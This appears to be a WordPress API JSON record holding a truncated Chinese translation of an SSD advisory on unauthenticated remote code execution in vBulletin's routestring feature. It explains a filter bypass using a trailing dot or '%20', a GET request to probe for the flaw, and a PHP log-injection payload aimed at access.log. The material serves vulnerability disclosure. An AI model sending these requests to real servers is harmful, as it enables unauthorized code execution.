\u5982\u679c\u6211\u4eec\u60f3\u5305\u542b\u6269\u5c55\u540d\u4e3a&#8217;.gif&#8217;\uff0c&#8217;.png&#8217;\uff0c&#8217;.jpg&#8217;\uff0c&#8217;.css&#8217;\u6216&#8217;.js&#8217;\u8fd9\u6837\u7684\u6587\u4ef6\uff0c\u9700\u8981\u7ed5\u8fc7setRoutes\uff08\uff09\u65b9\u6cd5\u91cc\u9762\u7684\u8fc7\u6ee4\uff0c\u7ed5\u8fc7\u5f88\u5bb9\u6613\uff0c\u53ef\u4ee5\u901a\u8fc7\u6dfb\u52a0\u70b9\uff08&#8217;.&#8217;\uff09\u6216\u7a7a\u683c\uff08&#8217;%20&#8217;\uff09\u5230\u6587\u4ef6\u540d\u6765\u7ed5\u8fc7\u3002 \u5b8c\u6574\u7684\u6f0f\u6d1e\u8bc1\u660e \u6211\u4eec\u53ef\u4ee5\u901a\u8fc7\u53d1\u9001\u4e0b\u9762\u7684GET\u8bf7\u6c42\u6765\u68c0\u67e5\u670d\u52a1\u5668\u662f\u5426\u6709\u6f0f\u6d1e\uff1a \/index.php?routestring=.\\ \u5982\u679c\u56de\u663e\u662f\uff1a \u90a3\u4e48\u670d\u52a1\u5668\u5b58\u5728\u6f0f\u6d1e \u5982\u679c\u6211\u4eec\u60f3\u8981\u5728\u670d\u52a1\u5668\u4e0a\u7684\u4efb\u4f55\u6587\u4ef6\u4e2d\u6ce8\u5165\u4e00\u4e2aphp\u4ee3\u7801\uff0c\u6211\u4eec\u53ef\u4ee5\u4f7f\u7528access.log\u4f8b\u5982\uff1a \/?LogINJ_START=< ?php phpinfo();?>LogINJ_END &#8230; <a href=\"https:\/\/blogs.securiteam.com\/index.php\/archives\/3609\" class=\"more-link\">Continue reading <span class=\"screen-reader-text\">SSD\u5b89\u5168\u516c\u544a-vBulletin routestring\u672a\u7ecf\u9a8c\u8bc1\u7684\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c<\/span><\/a><\/p>\n","protected":false},"author":4,"featured_media":0,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"colormag_page_container_layout":"default_layout","colormag_page_sidebar_layout":"default_layout","footnotes":""},"categories":[10643,10754],"tags":[15774,11682,12077,10757,12136],"class_list":["post-10973","post","type-post","status-publish","format-standard","hentry","category-independent","category-securiteam","tag-chinese-translation","tag-remote-code-execution","tag-remote-file-inclusion","tag-securiteam-secure-disclosure","tag-unauthenticated-action"],"_links":{"self":[{"href":"http:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/posts\/10973","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/users\/4"}],"replies":[{"embeddable":true,"href":"http:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/comments?post=10973"}],"version-history":[{"count":0,"href":"http:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/posts\/10973\/revisions"}],"wp:attachment":[{"href":"http:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/media?parent=10973"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/categories?post=10973"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/tags?post=10973"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}